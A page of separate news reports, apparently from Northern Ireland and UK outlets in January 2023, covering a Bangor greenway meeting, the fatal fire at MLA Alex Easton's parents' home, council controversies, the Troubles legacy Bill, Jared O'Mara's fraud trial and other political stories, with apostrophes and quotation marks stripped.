The restaurant previously was awarded by National Federation of Fish Friers with a Quality Accreditation recognises purveyors of the nation's favourite dish.

Writing on social media, Fish City said: We're absolutely delighted and honoured to be recognised with the NFFF Quality Accreditation, which is a credit to our hardworking staff and their efforts to maintain our high standards.
A Northern Ireland council is scrambling to find a bigger venue for a public meeting to discuss controversial greenway plans after more than 100 people were turned away from Bangor City Hall.

An Ulster Unionist MLA said at least 150 people were unable to attend the discussion on proposed new greenway routes which Ards and North Down Borough Council acknowledges have attracted significant public interest.

The council has confirmed that audio from the meeting will be made available online.

North Down representative Alan Chambers said the large crowd was left queuing outside the venue and unable to engage in the consultation.

"At least 150 people unable to be facilitated to attend a public meeting in Bangor City Hall tonight [Tuesday] regarding the proposed coastal greenway, he tweeted.

Someone made a very bad call in anticipating the numbers, despite many clues, who would wish to attend a meeting on this emotive topic.

The meeting was arranged to discuss the issue of a proposed new coastal pathway which will create links to Belfast.

Two public meetings have already taken place in venues offering capacity of around 100 with another due to take place in Holywood on February 1.

Residents have previously expressed concerns about increased levels of traffic and anti-social behaviour as a result of the proposed routes which include a greenway connecting Kinnegar and Donaghadee.

The plans encompass the existing North Down Coastal Path.

Videos and photographs shared online of Tuesday nights meeting, which was streamed online, show attendees being turned away due to the venue being filled to capacity.

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The council website reveals it was fully aware of the level of interest in its plans.

There is significant public interest in the proposals and during our consultations to date we have received many queries about how our greenways will be developed and managed; how sustainability and safety factors will be addressed; and how the needs of different users will be met," it states.

The borough already has the Comber Greenway connecting the town to the centre of Belfast  it was the first project of its kind in Northern Ireland when it was created in 2008.

Other proposed routes include connecting Newtownards to the Comber Greenway and the creation of a route connecting Newtownards to Green Road in Bangor.

The local authoritys website states that its Corporate Plan 2020-24 recognises that the borough has a unique environment that it must strive to cherish.

It has committed to supporting the physical and emotional wellbeing of residents by developing infrastructure and services that improve access to this environment, including three additional greenway routes.

The new plans represent a total investment of 20m in green infrastructure with the Department for Infrastructure expected to pick up half of the bill.

A spokesperson for the council insists it is committed to giving all those who wish to voice their opinions an opportunity to do so.

Given the level of public interest, council officers are working to find a suitable large capacity venue for a further session  or sessions  within the next two weeks.

"Details will be shared on social media and in the press as soon as they are confirmed.

The audio from the meeting which took place in Bangor last night will be made available on our website and questions or queries from the public can be submitted to greenways@ardsandnorthdown.gov.uk.
A popular pizza shop in east Belfast has been praised by a world-famous food reviewer who rated it 10 out of 10.

Flout Pizza based in Portview Trade Centre, east Belfast, invited Matt Davies-Binge, also known as Food Review Club, to taste their pizza pies during a recent visit to Northern Ireland.

The visit and praise from the TikTok star, who has 600,000 followers, left owner Peter Thompson in tears.

I honestly didnt know what Food Review Club would think, knowing the power of social media, it was all a bit nerve-wracking, said Peter.

Our pizza is distinctive because everything has been born and raised in East Belfast - the dough, the place, the ethos. And that is quite unique.

The account has 5.3million likes on TikTok and more than 100k followers on Instagram.

The creator often goes viral for his food and drink videos which see him travelling across the UK trying out local favourites.

The food blogger said Flouts New York-style cheese pizza he tried rivalled Lucalis, a Brooklyn joint considered by many as the best pizza in the world.

I believe pizza is the God of all foods, it's the most elemental cooking possible but the end result is one of lifes most pleasurable eating experiences, continued Peter.

I mill my flour in the shop, and use that to create my organic, sourdough starter. That becomes our dough, which is enhanced with flours and grains sourced, grown and milled in the UK and Ireland.

"I often combine the dough with local produce to offer a product that has my thumbprint, and that Flout! distinction, all over it.

Flout has been open in the centre for just over a year, and is only open 12 hours a week but has a committed following online.

Peter started the shop after previously working in advertising, saying pizza has always been his passion.

Theres no reason why the best pizza in the world can't be made in Belfast added Peter. We have access to amazing produce from suppliers right across the island, and access to amazing equipment, and a customer base that appreciates quality.

Flout! is open at Portview Trade Centre from 12:00pm to 2:00pm Wednesday to Saturday and 5:00pm to 7:00pm on Fridays and Saturdays. Menus change on a regular basis.
Victims group warns legacy plans risk untold damage as family of murdered teen slam Bill

John Molloy was stabbed to death in a sectarian attack in 1996

The family of a teenager murdered in north Belfast almost 27 years ago say they are totally against legislation that will halt inquests into deaths during the Troubles.
Scene of the fatal fire at the house in the Dellmount Park area of Bangor. Pic: PA   PA

The funeral details for the parents of Independent MLA Alex Eastons parents, who both died following a tragic house fire in Bangor, have been announced.

On Monday morning, emergency services were called to a home in the Dellmount Park after reports of a fire. Police said the victims were treated for injuries, but both died at the scene.

Mr Easton later confirmed the victims were his parents, Alexander Alec and Anne Easton, who were aged in their 80s.

Read more Nurses raised alarm over house fire that killed MLA Alex Eastons parents

According to Funeral Times, the joint funeral will take place on Saturday 28th January in Bangor Abbey with a service of thanksgiving at 11am.

This will be followed by interment in St Michaels Parish Churchyard, Sixmilecross.

"Alec and Ann 23rd January 2023 suddenly at home. Dearly loved parents of Christopher, Lorraine, and Alex, also much loved and loving parents-in-law, grandparents, and great grandparents, reads the announcement.

"Family flowers only please, donations in memory if desired made payable to either Cancer Research or Fields of Life c/o Melville Morgan Funeral Directors, 195 Clandeboye Road, Bangor BT19 1AA.

Jesus said I am the resurrection and the Life. John Ch11 Vs25.

As reported by the Belfast Telegraph, Alec and Ann Easton were found in the property after care workers, who visit the couple most mornings, raised the alarm having noticed a blaze in the front living room of the detached property.

Both Mr and Mrs Easton suffered from heavy smoke inhalation and the cause of the fire is still under investigation.

A family statement, issued via Alex Easton, said: It is with deep regret that today we lost our dear parents Alec Easton and Ann Easton.

The family deeply appreciate the work of the police service, fire service, ambulance service, air ambulance service and all emergency responders  we pay tribute to their professionalism and care.

At this time of family bereavement and grief we request the familys privacy is respected to allow us time and space as we deal with our loss.

As a family we are thankful for all the prayers and messages of condolence that we have received."
Mid and East Antrim Borough Council has finally confirmed it no longer employs chief executive Anne Donaghy  but wont answer key questions about her departure.

Yesterday, the council said in a brief statement: The council does not publicly comment on personnel matters. However, it can confirm that Ms Donaghy is no longer employed by Mid and East Antrim Council.

It said that the council has not approved a financial exit package for Ms Donaghy.

On Saturday, the Belfast Telegraph revealed that Ms Donaghy was taking ill-health retirement and would be receiving payments from her pension fund, into which both she and the councils for which she worked had paid more than 600,000.

The council added: In light of ongoing legal proceedings, the council will not be making any further comment.

However, it did not respond to four questions which this newspaper submitted last Friday: (1) What are the terms of Ms Donaghys departure? (2) Does this mean the council is dropping its investigation of the allegations which were sufficiently serious to suspend her? If so, why? (3) Who authorised this? (4) How much money has been spent (i) paying Ms Donaghy while she was suspended, (ii) on backfilling her role during that period and (iii) on the investigations into her?

Ms Donaghy, who has been absent from her post since September 2021, initially on stress leave, has remained silent. She was suspended from the council in November 2021.

Interim chief executive Valerie Watts was appointed by Mid and East Antrim Borough Council in June 2022.

The temporary chief executives salary was listed at between 107,255 and 116,221 per annum.

The issue of Ms Donaghys long-term absence was discussed behind closed doors on January 10, 2022, by the newly formed personnel committee.

In November, the council approved the adoption and implementation of the chief executive grievance procedures. The new grievance procedures included the establishment of a grievance committee and a grievance appeal committee.

Interim HR director Patience Enenmoh clarified, in response to councillors queries, this was in relation to the grievance procedure and not the disciplinary, capability and redundancy procedure.

In August 2021, the NI Assemblys Committee for Agriculture, Environment and Rural Affairs carried out an investigation into the decision made by Mid and East Antrim Borough Council and DAERA to withdraw staff from undertaking checks on goods entering Larne and Belfast ports on a temporary basis on February 1 that year.

Twelve environmental health officers employed by Mid and East Antrim Borough Council were temporarily withdrawn from inspection duties due to apparent security concerns following the appearance of graffiti at the Port of Larne, where they had been assisting with checks post-Brexit.

The NI Protocol requires the completion of checks on certain goods shipped from GB into the provinces ports in advance of onward transit to the Republic of Ireland and into the EU.

Ms Donaghy indicated she would be seeking independent legal advice in a personal and private capacity over some elements of the report on the committees findings.

Ms Donaghy has been chief executive of Mid and East Antrim Borough Council since an amalgamation of local authorities in 2015. Previously, she was chief executive of the legacy Ballymena Borough Council.

She was awarded an OBE for services to local government and the community during the Covid-19 pandemic, receiving the honour from Prince William in December 2021.

The PPS is currently considering a file from the PSNI in relation to allegations against Ms Donaghy and others. She has always denied any wrongdoing.
A report into Belfast City Councils processing of new Irish street signs has been commissioned after it emerged not one new sign has been made since the authority changed its policy last summer.

In the six months since the councils policy on dual language street signs was changed to make thresholds easier, 600 applications have been made for Irish street signs  with not one yet having been processed.

At the councils recent monthly meeting of its Strategic, Policy and Resources Committee, Sinn Fein councillor Ronan McLaughlin successfully proposed a report looking at the processing of dual language signs since the policy change.

He told the committee: Our policy for the new Irish street signage went live around the middle of last July. I think since that period there have been over 600 applications.

In that six month period, where that policy was live, not one decision has reached the committee for ratification, in fact, the only one that got to committee level was in December, using the previous policy.

I am not sure what the hold up is. Six months into the process, without one street getting a sign  even though the process is much easier than the old policy.

Last July, councillors agreed the controversial new policy would finally be implemented  18 months after the policy was originally agreed in the chamber.

Sinn Fein, Alliance, the SDLP, the Green Party, and the People Before Profit Party all support the new street sign policy, while the three unionist parties, the DUP, UUP and PUP, are against it.

The new policy means at least one resident of any Belfast street, or a councillor, is all that is required to trigger a consultation on a second nameplate, with 15% in favour being sufficient to erect the sign.

Non-responses will no longer be counted as against votes, and there will be an equality assessment for each application.

Up until last July, the policy required 33.3% of the eligible electorate in any Belfast street to sign a petition to begin the process, and 66.6% to agree to the new dual language sign on the street. There will be a maximum of five signs processed per month.

Mr McLaughlin told the committee: I do know that previously we have sent officers out door to door, to physically post letters through the door. I dont know if that is the best use of staff time. It would be very resource intensive given the volume of our applications.

We definitely have to look at the process. If it is taking over six months to get one application out of 600 to committee stage, there is something clearly wrong with the internal process of how this is managed. If it is a resource issue then we need to know about it, and know about it quickly. Really, six months is unacceptable.

City Solicitor Nora Largey told the committee she had been planning to give an update on the situation at next months committee.

She said: To give the context, when those initial requests were received, a lot of them were by email. They werent part of an application form, so a lot of verification was required, and we had to go back individually to those people who had submitted requests, for certain details.

We asked for the absolute minimum of details to get clarification for those applications to be progressed.

There has been some difficulties in terms of securing regular access to the electoral office, and also to get some translations back from Queens University. I think they are under significant staffing issues, which hopefully should be resolved in the next few weeks.

Obviously until we get research and translation back, we are a bit hamstrung. In addition to that, there are a few issues about which we need some clarification from the committee, in terms of policy, that we will be bringing back next month.

She added: You will actually start to see the applications coming through next month. There will be one next month, two the next month after that, and we are hoping that all of the surveys for the initial ten that members have been consulted on, will be completed next month.

I know that is not quick enough, and I will give you a proper report next month to outline the reasons for that. But I will reassure you that it is getting attention from me in terms of trying to push it forward as best we can.
As a prisoner is coming near the end of a jail term they are prepared for release

For the public to have faith in our justice system they must be confident that serious offenders will not be released until they are no longer a risk to the public.
Alex Easton and wife Denise react after he missed out on a seat at the 2019 General Election

Born in Bangor in 1969 to South African engineer Alexander Henry Knight Easton and homemaker Ann Benson, Alex Easton, along with older brother Christopher, moved frequently as a child due to his fathers career.

The future politician lived in Blackburn and Halifax in England, before returning to Northern Ireland to reside in Newry, followed by Warrenpoint and then back to Bangor when he was around 10.

Upon his familys return to the city, he attended Gransha Boys High, which he has previously described as difficult having been bullied.

I was small for my age and always found it difficult to mix, probably because I moved around so much.

It wasnt a happy experience at Gransha for me.

I absolutely hate bullies the 53-year-old told the Belfast Telegraph in 2018.

My face was severely bashed in. It affected me really badly throughout my entire life. I actually remember wetting myself at the time.

He met his wife Denise years before they married in 1999 at a friends house. Mr Easton is the stepfather to Denises daughter Lauren, and grandfather to Carson and Casey.

Denise previously worked for her husband, helping with his political career.

They are devout Christians and are members of the Church of Ireland.

Before entering the world of politics, Mr Eastons first job was working in a carpet sample-making factory in 1988.

He then moved into multiple roles with the Northern Ireland health service including as a clerical officer in the accident and emergency department in Newtownards, then in the Ulster Hospital.

This was quickly followed by election to the Assembly in 2003 for the constituency of North Down.

He was re-elected in 2007, 2011, 2016 and 2017.

Alex Easton and wife Denise react after he missed out on a seat at the 2019 General Election

He resigned from the DUP in 2021, saying he saw no respect, discipline or decency in its behaviour following the leadership crisis between Edwin Poots and Sir Jeffrey Donaldson.

I am at the end of my tether with U-turns and reaction politics, Mr Easton said.

I have had to stand back and watch as colleagues tear themselves apart, brief against other colleagues and run to the media in order to hurt each other on a daily basis.
The government is planning amendments to its Troubles legacy legislation in the House of Lords later on Tuesday.

The proposed law would provide an effective amnesty for those suspected of killings during the conflict if they agree to co-operate with a new body, known as the Independent Commission for Reconciliation and Information Recovery (ICRIR).

Changes to the bill would include amendments to the process around immunity from prosecution.

At the Bills second reading in the House of Lords in November, the Northern Ireland Office (NIO) Minister Lord Caine said they would involve a more robust process around immunity from prosecution.

There are also also impose tougher penalties on those who refuse to give information to the ICRIR and improve the ICRIRs investigative powers.

The Bill was already almost universally opposed by parties across the political divide in Northern Ireland as well as all victims groups. Similarly, changes have been rejected by campaigners.

Read more UK Government introduces changes to controversial legacy Bill ahead of scrutiny by Lords

The Bill was introduced in May, with a crucial element being that those who co-operate with ICRIR investigations will receive immunity from prosecution.

Speaking previously to the Belfast Telegraph, Raymond McCord  whose son Raymond Jr was killed by loyalists during the Troubles - said the Bill was a human rights abuse.

He said: Everyone in the United Kingdom is supposed to be equal and afforded equal human rights, however if the British governments Legacy/amnesty Bill is passed, these eight victims along with thousands of other British and Irish citizens will lose these rights, their equality is removed

It certainly wont help victims move on, it wont get them the truth, it wont ease their pain and it wont give them the legal opportunity of justice, he added.

Democracy, along with truth and justice, will no longer be part of the British way of life and replaced by cover-ups and denial of justice.

On Friday, a bipartisan letter from the United States congress expressed grave concerns about the Bill to Prime Minister Rishi Sunak.

A total of 27 representatives have signed the document which is addressed to 10 Downing Street congratulating Mr Sunak on taking office during what they describe as a precarious point in European history.

"We feel compelled to write you to voice our strong concern and disappointment with the continued momentum this piece of dangerous legislation maintains, the letter said.

"We believe this legislation would deny justice to thousands of families, across all communities in Northern Ireland, who were impacted by violence during the Troubles, it continues.

Sinn Fein vice president Michelle ONeill called the letter a significant intervention and said it was evidence of widespread and consistent international opposition to the Governments contentious proposals.
DUP leader Sir Jeffrey Donaldson has led expressions of shock and sympathy

The scene of the blaze in the Dellmount Park area of Bangor, Co Down (Pic: Liam McBurney/PA Wire)

North Down MLA Alex Easton has expressed his familys deep regret at the loss of his parents in a house fire in Bangor.

It is with deep regret that today we lost our dear parents Alec Easton and Ann Easton, he said.

The family deeply appreciate the work of the police service, fire service, ambulance service, air ambulance service and all emergency responders - we pay tribute to their professionalism and care.

At this time of family bereavement and grief, we request the familys privacy is respected to allow us time and space as we deal with our loss.

Mr Easton added: As a family, we are thankful for all the prayers and messages of condolence that we have received.

Further details of funeral arrangements to follow.

Alex Easton

Earlier, police had confirmed that a man and a woman in their 80s had died in the blaze at Dellmount Park, which was reported at about 8.45am on Monday.

Mr Easton, who is currently an Independent Unionist MLA, had posted on social media about the tragic news.

I cant believe I am having to say this but both my mum and dad have passed away, he said.

I dont know what to say, but I would ask you give myself and my family time to process things and respect our privacy as we grieve.

The post was greeted with an outpouring of love and condolences to the politician, with many sharing their shock at the news.

His father, Alexander Henry Knight was a retired engineer who was born in South Africa. He worked abroad for Mr Eastons early life in Nigeria, Saudi Arabia, Iran, Yemen and Bolivia.

His mother Anne Benson, was a homemaker.

In an interview with the Belfast Telegraph in 2018, Mr Easton said the family moved from Northern Ireland to Blackburn, then Halifax when he was two-years-old.

They later returned to Northern Ireland when he was 10.

While in the DUP, Mr Easton was elected to North Down Borough Council in 2001 and left the council in December 2013.

He resigned from the DUP in 2021, telling the Belfast Telegraph the party had no respect, discipline or decency.

Aidan Jennings, Assistant Chief Fire & Rescue Officer, Northern Ireland Fire & Rescue Service (NIFRS) said: The thoughts and sympathies of NIFRS are with the loved ones of a couple in their 80s who sadly died following a house fire in Bangor this morning.

This morning (Monday 23 January) at 8.44am, firefighters were called to reports of a fire in a detached house in Dellmount Park, Bangor.

Five appliances and 19 firefighters were quickly on the scene from Bangor, Donaghadee, Newtownards and Holywood Fire Stations. Firefighters rescued two people from the house and extinguished the fire. Paramedics administered first aid to the casualties, but tragically they died at the scene.

Firefighters left the scene at 12.33pm and the cause of the fire is currently under investigation.

DUP leader Sir Jeffrey Donaldson MP has expressed his sympathies to Alex Easton.

I have spoken to Alex earlier today and expressed my sympathies to him at this time of unimaginable grief and to assure him of our prayerful support," Sir Jeffrey said.

"The thoughts of everyone within the DUP are with him and the wider family as they struggle to take in this enormous loss."

North Down MLA Stephen Dunne added: I want to offer my sympathy and support to Alex and his family at this time. I became aware of the incident this morning and I would pay tribute to the efforts of the emergency services for their efforts at the scene.

"It has shocked the local community in Bangor and the thoughts and prayers of everyone in the area are with Alex.

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Speaker of the Stormont Assembly Alex Maskey said: "On behalf of myself and the Assembly, I want to express my sympathies to Alex Easton and his family circle following the tragic death of Alex's parents.

"Words are simply insufficient in the aftermath of a heart-breaking loss such as this. I know that many members and staff in the Assembly community at Parliament Buildings have been shocked by the news and have the Easton family in their thoughts."

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Independent Councillor Ray McKimm also shared his condolences, saying he was just working with the North Down MLA this morning.

What we know is Alex is an absolutely dedicated constituency worker, no matter the issue, health, home or work, he said.

As a community, we want to say we know what he has done for us, and we grieve with him at this time and give him the support he'll need in the coming days and weeks.

We are here for him. Its heart-breaking, I cannot fathom it. Its been a dark day for Bangor and for Alex. Take a rest, Alex, and look after yourself. 

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UUP Deputy Mayor of Bangor Craig Blaney said the entire borough will be in shock following the news.

I want to send my sincerest condolences to Alex and his family at this time," he said.

"Its absolutely shocking, and to be honest I cant believe this has happened. Its tragic - across any political divide when tragedies happen, all you can do is rally around people.

"I have a great deal of respect for Alex, he is extremely well-thought-of in the area. The whole borough will be devastated and in shock to know this has happened to him and I just want to share mine and the Ulster Unionists condolences to him at this time.

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TUV leader Jim Allister said: Words are inadequate at a time such as this. To lose both ones parents in such horrific circumstances is unimaginable.

"If those outside the family feel their weakness when asked to comment on such a shattering blow, I can only imagine how Alex is coming to terms with this news.

I extend my heartfelt sympathy to him and his family. Like countless others across Northern Ireland, I will remember them in my prayers in the coming days.

Ulster Unionist Partys North Down MLA Alan Chambers said: This has come as a terrible shock to the Bangor community.

"This is a human tragedy which will be felt by everyone and I know the entire community will join me in sending my deepest condolences to Alex Easton as he tries to come to terms with this unimaginable and heartbreaking loss.

Alex has been a very dedicated carer for his parents over recent years, visiting them every day and my heart just goes out to Alex and his family.

Secretary of State for Northern Ireland Chris Heaton-Harris also shared his condolences writing on Twitter it was horrible to hear the news.
Twitter has been refusing to pay its rent to the Crown Estate, whose profits go to help support the British Government, according to a claim in the High Court.

The Crown Estate said it issued court proceedings to Twitter for rental arrears on an office space close to Londons Piccadilly Circus.

A representative said that it had previously contacted the social media company about its rent, and is currently in discussions with bosses there.

It is one of many occasions Twitter has been taken to court in recent weeks for allegedly failing to pay its rent.

The San Francisco Chronicle on Monday reported that a landlord in the city is suing over 6.8 million dollars (5.5 million) the company has allegedly failed to pay on its headquarters.

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Also in San Francisco, a commercial landlord is suing the company after it allegedly failed to pay a rental instalment of more than 136,000 dollars (111,000), CNN reported.

There is also a fourth case in Seattle.

The cases could be part of an even bigger slew of lawsuits facing Elon Musks social media company.

According to reports in December, Musk stopped paying rent on all of Twitters office space around the world, including its headquarters, in a cost-cutting effort.

The Crown Estate is one of the biggest landlords in the UK, but the money it makes ultimately is paid to the Treasury.

Over the last decade the Crown Estate has handed around 3 billion to the Government, which it has been able to use for public services.

This includes many commercial sites in London, which are popular offices and shops. It also includes the seabed off the British coast, which is currently making a lot of money from new wind farms being built offshore.

Twitter did not immediately reply to a request for comment.
A former MP had a dysfunctional office that was haemorrhaging staff at the time he is accused of making fraudulent expense claims, a court has heard.

Jared OMara, 41, who represented the constituency of Sheffield Hallam from 2017 to 2019, is on trial for submitting fake invoices to the Independent Parliamentary Standards Authority (Ipsa).

Prosecutors say OMara tried to fraudulently claim up to 30,000 in taxpayers money to fund an extensive cocaine habit.

On Tuesday, Georgia Wilson, director of MP services at Ipsa, told Leeds Crown Court she began investigating some of OMaras expense claims after being told by South Yorkshire Police that they had received a report about a claim submitted to Ipsa for approximately 3,000.

Ms Wilson confirmed she was aware that by the time the alleged dishonest invoices were submitted in June 2019, all but one staff member in OMaras office had left.

Asked by Mark Kelly KC, representing OMara, whether she had become aware during her investigation that OMaras office was dysfunctional and that there had been a haemorrhaging of staff in about April 2019, Ms Wilson said she had.

The court heard OMara was elected as a Labour Party member but by the time of the alleged fraudulent claims, he had left the party and was sitting as an independent MP.

Jurors heard he had lost his office manager, who had been responsible for submitting his expenses claims, in April 2019.

Asked by Mr Kelly whether there had been issues with any of OMaras invoices before that time, Ms Wilson said: No, and we did a full backward-looking audit to check whether we had paid any invoices that shouldnt have been paid.

John Woodliff (Jon Super/PA)   Jon Super

She agreed with Mr Kelly that by June, invoices from OMaras office were ad hoc and looked completely in disarray.

Jurors have previously heard that Ipsa  the organisation set up after the expenses scandal to regulate MPs staffing and business costs  did not pay any of the allegedly fraudulent claims due to a lack of evidence that any of the work had been carried out.

Ms Wilson said she was aware that in June 2019 OMara had been experiencing mental health issues, and that he told her during a telephone call that he was considering resigning as an MP in September.

OMara is accused of making four fraudulent four claims to Ipsa between June and August 2019 from a fictitious organisation called Confident About Autism SY, and submitting two invoices from his chief of staff Gareth Arnold for media and PR work that prosecutors say was never carried out.

Gareth Arnold (Danny Lawson/PA)   Danny Lawson

It is also claimed OMara, who appeared in court by videolink, submitted a false contract of employment for his friend John Woodliff, pretending that Woodliff worked for him as a constituency support officer.

OMara is charged with eight counts of fraud by false representation, with Arnold jointly charged with six of the offences, and Woodliff jointly charged with one.

OMara won Sheffield Hallam for Labour from former Liberal Democrat leader Sir Nick Clegg in 2017, but later left the party after a series of controversies.

He stayed in office as an independent MP but did not contest the 2019 general election.

OMara, of Walker Close, Sheffield; Arnold, of School Lane, Dronfield, Derbyshire; and Woodliff, of Hesley Road, Shiregreen, Sheffield, deny all charges.

The trial continues.
Nadhim Zahawi should not have to step aside as Conservative Party chairman while an ethics investigation into his tax affairs takes place, according to a minister (PA)   Victoria Jones

Nadhim Zahawi should not have to step aside as Conservative Party chairman while an ethics investigation into his tax affairs takes place, according to a minister.

It comes after a senior Tory MP broke ranks to call for Mr Zahawi to temporarily recuse himself from his party and Cabinet role until a probe into his conduct is over.

Caroline Nokes, chairwoman of the Commons Women and Equalities Committee, told BBC Breakfast Mr Zahawi should stand aside until this matter is all cleared up.

Home Office minister Chris Philp said Mr Zahawi should be treated as innocent until proven guilty and it is reasonable for him to continue as party chairman.

Announcing the ethics probe into Mr Zahawi on Monday, Prime Minister Rishi Sunak said it is longstanding practice for ministers being investigated to remain in post.

Mr Zahawi is subject to an inquiry by the new independent adviser on ministers interests, Sir Laurie Magnus, into declarations about his tax affairs.

He resolved a multimillion-pound tax dispute with HMRC by paying a penalty  reportedly around 30% of a 5 million settlement  while serving as chancellor under former prime minister Boris Johnson.

After Mr Sunak entered Downing Street in October, he appointed Mr Zahawi Conservative Party chairman and minister without portfolio, allowing him to attend Cabinet.

Policing minister Mr Philp said it is his understanding that Mr Sunak was told there were no outstanding issues in relation to Mr Zahawis tax affairs when appointing him to the roles in the autumn.

Mr Philp, asked on BBC Breakfast about Ms Nokess call for Mr Zahawi to step aside during the investigation, said: I dont take that view.

Home Office minister Chris Philp said Nadhim Zahawi is innocent until proven guilty (James Manning/PA)   James Manning

He added: We do have a principle, dont we, in this country innocent until proven guilty. That applies to a whole range of different circumstances.

The investigation has been launched by the Prime Minister; that is the right thing to do.

It will get to the bottom of this and then the Prime Minister will make his decision.

But I dont think it is fair to jump to any conclusions before the investigation has concluded.

Sir Laurie is expected to focus on Mr Zahawis ministerial declarations as part of his first probe since being appointed.

But the investigation could extend to his prior tax arrangement and whether he lied to the media.

Mr Philp said it will be for the ethics tsar to find out the facts behind what amounts to carelessness on Mr Zahawis part when it came to reporting his financial affairs to HMRC.

He told BBC Radio 4s Today programme: I dont know what form that carelessness took and nor probably does anybody else apart from HMRC and Mr Zahawi, so lets find out the facts.

Prime Minister Rishi Sunak is facing questions on two fronts this week (Toby Melville/PA)   Toby Melville

Downing Street on Tuesday said it hoped the investigation could be carried out swiftly, but that no date had been set for Sir Laurie to report back.

We havent set a timeline for it because whilst we want this to be conducted swiftly, its important equally that it is thorough, the prime ministers official spokesman said.

Labour said Mr Zahawis admitted carelessness should see him removed from Government.

Shadow foreign secretary David Lammy told Sky News: When youve been chancellor of the exchequer and you said youve been careless despite the fact that offshore trusts have been set up in Gibraltar, Im sorry, you really ought to resign or be sacked.

Mr Zahawi, in a statement on Monday, said he is confident he has acted properly throughout.

His tax affairs formed one of two controversies Mr Sunak has been forced to confront this week, with questions also being raised over the decision to appoint Richard Sharp BBC chairman while he reportedly helped former No 10 incumbent Mr Johnson secure a loan of up to 800,000.

Mr Sunak distanced himself from the allegation, saying the chairmans appointment was made by one of my predecessors.

William Shawcross, the commissioner for public appointments  and also father of Eleanor Shawcross, head of No 10s policy unit  said he would review the way competition for the post was run to ensure it was in compliance with Whitehall rules.

Mr Sharp has insisted he was not involved in making a loan or arranging a guarantee for the then-prime minister.

He told BBC staff members his role was merely to seek an introduction for Sam Blyth, who reportedly acted as guarantor for a loan to Mr Johnson, to the relevant official in Government.
Afghan asylum seeker Lawangeen Abdulrahimzai claimed to be 16 when he was arrested for murder in the UK but a court determined he is 21 (Dorset Police/PA)

The Government has said it is seeking to put in place robust measures to determine the age of asylum seekers arriving in the UK following the conviction of an Afghan man for the killing of a man in a row over an e-scooter.

Lawangeen Abdulrahimzai  who had previously been convicted of murder in Serbia  was found guilty on Monday of the murder of 21-year-old Thomas Roberts last year outside a sandwich shop in Bournemouth, Dorset.

The defendant, who arrived in the UK in December 2019, told the authorities at the time of his arrest that he was 16 but it was determined at Salisbury Crown Court that his true age now is 21.

Downing Street described the case as shocking and said it underlines the need for robust age measurement measures.

A report earlier this month by the Age Estimation Science Advisory Committee said existing age checks  which rely on interviews with social workers  could be supported by biological age assessment.

That could include X-rays or MRI scans to determine the development of teeth and bones, although campaigners have questioned whether such methods are either ethical or reliable.

The Prime Ministers official spokesman said scientific checks are already in place in other countries and that the UK is now looking to follow suit.

We are considering the report of the Age Estimation Science Advisory Committee on scientific methods to assess the age of asylum seekers  and resolve the age disputes  which are indeed in place in countries like Norway, Denmark and Sweden, the spokesman said.

We are taking this issue very seriously and will come forward with further measures in due course.

Screenshot from a Dorset Police video showing Lawangeen Abdulrahimzai in Bournemouth (Dorset Police/PA)   Dorset Police

The Home Office has previously warned that there is a significant problem with migrants who have crossed the Channel in small boats lying about their age.

Then home secretary Priti Patel said last year that the introduction of biological tests would stop grown men masquerading as children on their asylum applications.

The court heard that Abdulrahimzai stabbed Mr Roberts twice and then fled into nearby woodland after Mr Roberts tried to intervene in a dispute between a friend of his and the defendant over an e-scooter.

After delivering its verdict, the jury was told that Abdulrahimzai had previously been convicted of murder following a trial in Serbia and sentenced to 20 years in prison in his absence.

Abdulrahimzai will be sentenced at Salisbury Crown Court on Wednesday.
The Prince and Princess of Wales have thanked outgoing New Zealand prime minister Jacinda Ardern for her support for them over the years.

William and Kate shared a tweet addressed to the leader on Tuesday, saying her friendship had been valuable particularly after the Queens death last year.

Writing on their official Kensington Royal account, they also expressed best wishes for Ms Arderns partner, television presenter Clarke Gayford, and four-year-old daughter Neve.

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The royal couple said: Thank you @jacindaardern for your friendship, leadership and support over the years, not least at the time of my grandmothers death.

Sending you, Clarke and Neve our best wishes. W & C.

Ms Ardern was among the world leaders at the Queens funeral at Westminster Abbey on September 19.

Two months before the Queen died, William had welcomed Ms Ardern to Kensington Palace during her first trip to the UK since the coronavirus pandemic.

Their meeting was held in private, but a spokesman for William, who was then the Duke of Cambridge, said it took place on July 2.

The Prince of Wales with New Zealand Prime Minister Jacinda Ardern arriving in Christchurch (Mark Tantrum/New Zealand Government/PA)   Mark Tantrum/New Zealand Government

In April 2019, William visited New Zealand to pay tribute to those affected by the Christchurch terror attack, in which 50 people were killed.

He met survivors of the attack and their families, members of the emergency services and Muslim community leaders.

Ms Ardern has also previously spoken of a real connection with the royal family following separate visits to her homeland by William and Kate, and the Duke and Duchess of Sussex.

The New Zealand Labour Party politician dramatically resigned last week, saying she no longer had enough in the tank to fulfil the demanding role.
Finlands Foreign Minister Pekka Haavisto has appeared to suggest the country might join Nato without Sweden (Henrik Montgomery/TT News Agency/AP)   Henrik Montgomery

Finlands top diplomat has appeared to suggest that the country may have to join Nato without Sweden after Turkeys president cast doubt on the expansion of the military alliance.

We still have to evaluate the situation if it turns out that Swedens application is stalling for a long time to come, Foreign Minister Pekka Haavisto told Finnish broadcaster YLE.

His comment came a day after Turkish President Recep Tayyip Erdogan warned Sweden not to expect support for its bid for Nato membership following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

Sweden and Finlands historic bid to join the alliance needs the approval of all existing Nato members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathisers.

Foreign Minister Pekka Haavisto has appeared to suggest that Finland may have to join Nato without Sweden (Vesa Moilanen/Lehtikuva/AP)   Vesa Moilanen

Until now, Sweden and Finland have been committed to joining the alliance together, but Mr Haavistos comment appeared to suggest that Finland is considering proceeding without its Nordic neighbour.

We are in contact with Finland to find out what is really meant, Swedish Foreign Minister Tobias Billstrom said in a statement to The Associated Press.

Sweden respects the agreement between Sweden, Finland and Turkey regarding our Nato membership. We have done that so far and we shall continue to do so.

In a memorandum of understanding signed by the three countries at a Nato summit last year, Sweden and Finland committed not to support Kurdish militant groups and to lift arms embargos on Turkey imposed after its incursion in northern Syria in 2019.

Pro-Kurdish and anti-Turkish demonstrations in Stockholm have complicated the process.

On Saturday, a far-right activist from Denmark staged a protest outside the Turkish Embassy in Stockholm where he burned a copy of the Koran, Islams holy book.

A separate pro-Kurdish demonstration was held in the Swedish capital later on Saturday.

The Swedish government has tried to distance itself from the demonstrations, while insisting that such protests are allowed under the countrys freedom of speech.

